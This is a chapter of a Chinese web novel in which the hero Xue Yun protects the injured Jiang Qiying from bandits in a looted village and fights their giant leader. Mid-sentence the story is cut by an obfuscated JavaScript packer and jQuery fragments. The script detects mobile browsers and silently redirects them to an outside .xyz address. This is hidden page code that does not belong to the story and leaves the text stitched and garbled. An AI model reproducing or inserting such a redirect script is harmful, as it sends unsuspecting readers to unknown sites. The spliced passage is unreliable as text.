32. 误入虎狼地
作品:《始乱终弃龙傲天后》 小的时候,绮英也曾有好几次摔跤崴脚,都是阿蕴把她背起来,一路走回慈恩寺。
他那时又瘦又小,比她都还矮半个头,背着她走在路上,两条筷子似的腿颤颤巍巍,一趟下来便是一头一脸的汗。
因此在绮英的记忆里,他的后背并不宽厚。
但她就喜欢让他背。
只为当她伏在他的背上,双脚悬空,她便莫名觉得放松,就好像任凭世间的路再多荆棘泥泞,都有一个人能毫无顾忌地托举着她,让她可以不用急着为生存而劳心费力,她能够在他的背上得到一段短暂的宁静和喘息之机。
眼下也是如此。
只不过他的肩背早已比从前宽阔出了许多,可以稳稳托着她,悠闲自得地吃完一条烤鱼。
剩下一条她本打算喂他,谁知他却不肯领情,硬是用单手托着她,也要腾一只手出来,接过鱼自行解决。
他吃得很快,幸而那鱼的骨刺也不多,但她在后看着,还是为这人狠狠捏了把汗。
他二人就这么沉默着,沿河水的流向大概走了八|九里,约莫小半天的功夫,终于在视野的尽头看到了几缕炊烟,定睛一看,果见一座不大不小的村落正坐落于河水下游。
薛蕴和江绮英心下不约而同地漾出欢喜,前者不顾劳累,把后者重新往上一颠,便朝着那村寨的方向快赶了几步。
不料待他们来到近前,才发觉这村子前前后后都静悄悄的,连个鬼影都没有。
四下里的门户皆打开,家家户户却都狼藉满地,瓶瓶罐罐碎得到处都是,鸡鸭或死或四散,牛羊亦都不在圈中,俨然一副刚刚被洗劫一空的景象。
江绮英看着心下生凉,不觉揪紧了薛蕴肩头的衣料:“此地不宜久留,咱们还是走吧阿蕴。”
薛蕴肃着脸顿首,扭头便要带着她绕道而行,不想却为时已晚,他们这厢刚打算离开,背后便传来一声来者不善的叫嚷:“什么人?!”
“路过。”
薛蕴一边简洁地吐出两个字,一边回过头,眼前却慢慢冒出几个提着砍刀长棍的男子。
从神情上看,他们各个贼眉鼠眼,凶神恶煞,从衣着上看,也不像是愿意老实耕田种地的良民百姓。
怕是遇上匪了。
江绮英和薛蕴在心里不约而同地想。
为首者的言行也很快证实了他二人的猜测,只见他眯起一双浑浊的吊梢眼,一面朝他们走,一面在他们身上不怀好意地来回打量,笑意越发猥琐:
“路过?穿成这样?我瞧着分明是刚跑野地里厮混完吧?”
他话音刚落,其他跟着他的人便立刻起哄似的大笑起来。
“喂!小子,野合的滋味怎么样啊?这大冷天的,就不怕你□□那三两重的东西生了冻疮吗!哈哈哈哈!”
“你懂什么,人家那叫干柴烈火,烧起来那叫一个一发不可收拾,哪里还知道冷,全顾着燥了!”
“哟!快看这妞长的!小子,你艳福不浅啊!快让大家伙都瞧瞧!”
他们之中也很快有人发现了趴在薛蕴背上,将脸埋下去一半的江绮英,虽未见她全貌,却只凭她一双柔媚如丝的眼睛,便已为她的容貌所惊艳,说着便要上前动手动脚。
薛蕴见状果断后撤,躲开那厮毫不避讳的脏手,又暂时先把她从背上放了下来,更好地藏于身后。
他的抗拒之意十分明显,而那斗胆上前者想来应是这群贼匪中的头目人物,在见到江绮英第一眼时,眼神便牢牢地锁定在她的身上,口水都快从嘴角淌下来了,被他这般当众强硬地拒绝,自是觉得面上无光,故忽又变了脸色,改口威胁:
“小兄弟,从今儿起,这里就是我们青龙寨的地盘了,不管你们是真路过还是跟哥哥扯谎的,凡是踏进此地一步,那就得乖乖地给哥哥把买道的过路钱奉上,哥几个也保证,只要交够了钱,绝对不会再多为难,若是身上实在短银钱,便拿你这婆娘来抵!”
这厮虽生如北地人般高大,却也同样鹰鼻鹞眼,獐头鼠目,尤其一双眯缝似的眼睛浑浊昏黄,一看就是个酒色之徒。
偏又有些手段话术,他这篇话起初说得慢条斯理,不疾不徐,到后来却是图穷匕见,语速加快,意图趁着薛蕴专心听他说话,劈手就要来夺被他护在身后的江绮英。
然薛蕴岂是寻常之辈,根本不受其干扰。
那厮甫一出手,自以为是出其不意,谁知却瞬间便被他抬手格挡,死死钳住手腕穴道。
“好小子!竟是个练家子?”那匪彼时已然汗颜,却碍于面子,还在强撑淡静,攥起另一只手,又要来攻。
却只不过三五招,就又被薛蕴逼退,既根本破不了他的防,顺带还吃了他一记重重的耳光,打在脸上火辣辣的疼。
那厮当即捂着脸气急败坏,转头冲着手下人撒气:“你们街边看大戏呢!还不赶紧给我上!”
其他匪众听到这话,方一个个前仆后继地拿着武器朝薛蕴冲了上来。
他们一众五六人,虽不及战场上的真刀真枪,也未曾经过正统操练,可手中最不济也是一把磨得锋利无比的柴刀,而薛蕴身上却只有一把护身的短刃,江绮英虽知他如今有些本事,却也还是情不自禁地攥住了他的衣袖,替他捏一把汗。
只不过很快,薛蕴就用行动证明,她的担心属实多余。
对付这样一群乌合之众,他腰间的短刀竟连出鞘的机会都没有,只见他赤手空拳,在江绮英周围几个腾挪的功夫,便把几个小贼手里的兵刃逐个击落,三拳两脚,就让他们趴在地上只哎哟。
江绮英始终被他护在身后半臂之内,毫发无损的同时,也几乎没有任何挪动,并不会牵扯到她脚踝上的伤患。
江绮英不禁想,少时遇事几乎都是她挡在他身前,绞尽脑汁狐假虎威,护着他也护着自己。
到如今,却是他站到了自己的前面,用高大坚韧的背影为她筑起一道宛若铜墙铁壁的防线,丝毫不能撼动。
然而这时但听“咻”的一声,江绮英只觉背后一凉,一支羽箭就这么冷不丁从村子深处飞刺出来,薛蕴连忙把她拉靠到自己怀中,双臂裹着她,齐齐旋身闪避。
“我说老二你怎么半天都不带人过来,原是在门口教人堵了!怎么着,一个小白脸就把你们一个个揍成这样,是老子平日饿着你们了吗!”
说话者声洪如钟,却也同样沙哑如含磁,江绮英和薛蕴不约而同地循声回望,还以为是个老者,不曾想却是个不过而立的壮年男子。
只见他身高九尺有余,脸色青黑如鬼,虎背熊腰,腮边蓄一把落拓不羁的络腮胡,着一领灰白夹袄,腰间系着一条斑斓虎皮,手中弓箭一扔,又抓来一把足有江绮英一半高的斧钺,整个人看上去凶煞奇异,在乌压压一众山匪中间格外显眼,仿若妖魔罗刹临凡。
江绮英不觉往薛蕴怀里又缩了缩,倒也不是害怕,只是这般怪异的长相,又俨然一副此间山匪之首的做派,着实让人忍不住心生忌惮,变得更加小心谨慎。
适才被薛蕴第一个揍趴下的鼠脸男子这时也站了起来,一瘸一拐地摸过去,哀哀戚戚地胡说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443798|178803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一气:“大哥!这小白脸耍阴招,偷袭兄弟几个!你可要替我们报仇啊!”
“是吗?”
他这样狗屁不通的谎话,脑子正常些的都不会相信,那青面鬼虽长得不像人,但也不是傻子,自然没有立马相信,只是白了他一眼,拧着他的脑袋,让他往自己身后站,方朝着薛、江二人大步走来。
他的体型庞大如山,甚至每走一步,江绮英都能感觉地在颤抖。
薛蕴一手护紧了她,一手不禁搭在腰间的短刃刀把上。
青面鬼面沉如铁,眼中却不见敌意,直到离他二人只剩三步之遥,方才猛地大喝一声,挥舞着斧钺向着他们当头劈来。
只因他声势浩大,速度又快,薛蕴手中短刃必然接不住他这一击,立时便抱起江绮英,闪至一侧。
青面鬼一击不中,砰一声一斧头劈裂了他二人适才身后的篱笆桩子,斧刃深深卡在木头里,薛蕴原以为他还需要一段时间才能重新拔将出来,谁曾想这怪匪气力之大,竟是一用力便让手中斧钺重见天日,反手又朝薛蕴砸了过来。
薛蕴抱着江绮英腾不出手,只好暂将她安置于一座塌了一半的土墙之后,方才抽出腰间利刃,正面迎敌。
他虽不及此鬼高大威猛,力大无穷,却胜在身法凌厉,出手凶蛮狠辣,十招之内并不落下风。
而这时之前那鼠辈还想趁机摸到江绮英所在,他也能迅速回防,脱手一记飞刀,直扎那人大腿!
在他痛得哇哇大叫之际,又从青面鬼斧下翻身而起,一脚掀翻他的下颚,使他顺着力道后仰撤步,再不能攻,自己则跃回去,拔回兵刃之际,又把江绮英重新拉至身边。
谁知青面鬼当众受他一击却并未恼羞成怒,反而摸着被揣得酸痛不止的下颚骨,一脸的喜出望外:“小白脸好手段!可愿入我青龙寨,老子保你一辈子吃香喝辣,在阳泉这一带横着走!”
“不关你事!”薛蕴心高气傲,又记恨他手下人刚才的无力缺德,嘴上便也没句好话。
青面鬼这才生了恼:“臭小子!你找死!”
说话间,便又提着斧钺大步杀了上来。
一人一鬼斗了百十招,虽说江绮英知道,其实这厮不过空有一身蛮力,若非薛蕴受她牵绊,在和他对招之余,还要兼顾着她的安全,防着其他贼子趁机对她不轨,要不然他根本就不可能是他这样尸山血海走出来之杀神猛将的对手。
江绮英从前真的没想到过,有一天自己竟然不仅要被他庇佑,还会成为他的累赘?!
可偏偏她实在不通武艺,前时又刚伤了脚,当下的局势长,她平日惯用的手段又都毫无用武之地,一时之间,她不禁也开始有些情急。
而这时那青面鬼的同伙眼见他一时半会儿也拿不下薛蕴,便也不管他愿不愿意,立时指挥起几个随他从村子中央赶过来、背着弓箭的小匪,将弓拿起,对着薛蕴齐齐放弦。
那场面虽不及沙场征战时,万箭齐发,枪林箭雨般威势难当,但薛蕴到底只有一个人两只手,就算拼尽浑身解数,百般抵抗,却也还是在护着江绮英,躲开青面鬼时,被一支乱箭擦过臂膀,撕开衣衫,留下一条血淋淋的口子。
“阿蕴!”江绮英心尖一颤,不自觉惊叫出声。
看着他血流不止的伤口,随之涌上她心头更是一阵难以形容的古怪怒意,只当青面鬼得斧钺再一次朝他们重重劈下来得那一刻,她又不知从哪儿横生起一股滔天的勇气,猛地张开双臂,起身挡在薛蕴身前:
“等等!您说的话,我们愿意考虑一下!”